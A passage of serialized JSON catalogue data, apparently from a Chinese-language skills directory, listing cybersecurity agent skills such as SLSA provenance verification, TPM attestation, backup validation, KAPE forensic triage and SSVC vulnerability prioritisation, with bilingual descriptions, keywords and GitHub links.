performing-csrf-attack-simulation","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-csrf-attack-simulation\u002FSKILL.md",true,[92,97,103],{"path":93,"resourceType":93,"resourceTypeDesc":94,"sizeBytes":95,"sourceHtmlUrl":96},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-csrf-attack-simulation\u002FLICENSE",{"path":98,"resourceType":99,"resourceTypeDesc":100,"sizeBytes":101,"sourceHtmlUrl":102},"references\u002Fapi-reference.md","REFERENCE","参考文档",2311,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-csrf-attack-simulation\u002Freferences\u002Fapi-reference.md",{"path":104,"resourceType":105,"resourceTypeDesc":106,"sizeBytes":107,"sourceHtmlUrl":108},"scripts\u002Fagent.py","SCRIPT","脚本",8753,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-csrf-attack-simulation\u002Fscripts\u002Fagent.py",[110,140,169,200,231,262],{"skillNo":111,"name":112,"nameZh":113,"description":114,"descriptionZh":115,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":116,"categories":117,"keywords":122,"publishedAt":50},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","SLSA 构建来源验证","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","使用 Sigstore 的 cosign（verify、verify-attestation、verify-blob-attestation）和 slsa-verifier（verify-artifact）验证工件签名和 SLSA 来源（provenance），强制校验 keyless OIDC 构建者身份和源仓库是否符合 SLSA Build 级别。适用于 CI\u002FCD 中部署工件前、消费第三方证明时、建立 SLSA Build L3 管道，或在事件响应或准入控制期间确认来源的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[118,119],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":120,"categoryName":121,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C32Q37WAMK06SGMFC02VFP","软件供应链安全",[123,124,125,126,49,48,127,128,44,129,130,131,132,133,134,135,136,137,138,139],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":141,"name":142,"nameZh":143,"description":144,"descriptionZh":145,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":146,"categories":147,"keywords":152,"publishedAt":50},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","TPM 测量启动验证","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","使用 tpm2-tools 验证 TPM 2.0 测量启动（measured boot）的完整性和远程证明：读取 PCR（tpm2_pcrread）、重放启动事件日志、生成并检查签名报价（tpm2_quote\u002Ftpm2_checkquote），以及将机密封印（seal）到 PCR 策略。适用于确认系统已启动可信固件\u002F内核以实现零信任（Zero Trust）设备状态、通过 PCR 漂移检测启动链篡改，或构建黄金值基线用于机群（fleet）证明。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[148,149],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":150,"categoryName":151,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C89JJEXGGRGHS6XVXDA46K","终端安全加固",[153,136,154,155,49,156,48,44,157,158,159,160,161,162,163,164,165,166,167,168],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":170,"name":171,"nameZh":172,"description":173,"descriptionZh":174,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":175,"categories":176,"keywords":183,"publishedAt":50},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","备份完整性验证","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","通过加密哈希验证、自动化恢复测试、损坏检测和可恢复性检查来验证备份完整性，确认备份对于灾难恢复和勒索软件响应是可靠的。适用于在依赖备份进行恢复之前、构建备份后验证管道、审计备份基础设施以满足合规要求，或检查不可变\u002Fair-gapped（气隙）备份是否存在静默损坏或篡改的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[177,180],{"categoryNo":178,"categoryName":179,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BQGD4WETX0HM3SM9QKQ15B","SRE 工程师",{"categoryNo":181,"categoryName":182,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BSSTY86MWS6W5GDQWB1ADQ","备份与灾难恢复",[163,184,185,186,41,48,187,188,157,189,190,191,192,193,194,195,196,197,198,199],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":201,"name":202,"nameZh":203,"description":204,"descriptionZh":205,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":206,"categories":207,"keywords":212,"publishedAt":50},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","KAPE Windows 取证收集","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","运行 KAPE（Kroll Artifact Parser and Extractor），通过 Targets 收集目标取证工件（注册表配置单元、$MFT、事件日志、prefetch、浏览器数据），并使用封装 Eric Zimmerman 的 EZ Tools（PECmd、MFTECmd、RECmd）的 Modules 进行解析。适用于事件遏制\u002F分诊早期阶段——此时完整磁盘镜像不切实际，但需要快速获得可采信、可解析的 Windows 工件集，包括大规模远程收集。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[208,209],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":210,"categoryName":211,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C9JZH3GWXPJ6CQG5P7J48Y","数字取证与电子证据分析",[213,214,215,48,216,217,218,219,220,221,222,223,224,225,226,227,160,228,229,230],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":232,"name":233,"nameZh":234,"description":235,"descriptionZh":236,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":237,"categories":238,"keywords":243,"publishedAt":50},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","SSVC 漏洞优先级分诊","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","使用 CISA 的 Stakeholder-Specific Vulnerability Categorization（SSVC，利益相关方特定漏洞分类）决策树对漏洞进行分诊和优先级排序，权衡利用状态（通过 CISA KEV 目录和 FIRST EPSS API）、技术影响、自动化程度和任务普遍性，输出 Track\u002FTrack*\u002FAttend\u002FAct 决策。适用于对漏洞扫描结果（OpenVAS、Nessus、Qualys）进行优先级排序以制定修复计划，而不局限于原始 CVSS 分数的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[239,242],{"categoryNo":240,"categoryName":241,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BQV98CYQ7TEW2D1MRQ00TE","安全公告与漏洞管理",{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},[47,244,245,48,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":263,"name":264,"nameZh":265,"description":266,"descriptionZh":267,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":268,"categories":269,"keywords":274,"publishedAt":50},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","安全事件初步分诊","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","使用 NIST SP 800-61r3 和 SANS PICERL 框架对安全事件进行初步分诊，分类事件类型、按业务影响分配优先级，并路由到相应的响应团队。适用于 SIEM\u002FEDR 告警需要人工分类、并发告警必须确定优先级，或用户报告或威胁情报 IOC 匹配需要初步事件分类的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[270,271],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":272,"categoryName":273,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BTHYSJPJ500X64JJ5CH06D","安全事件响应与威胁狩猎",[49,275,48,276,277,278,279,280,281,282,283,195,284,196,285,286,287,288,289,290],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]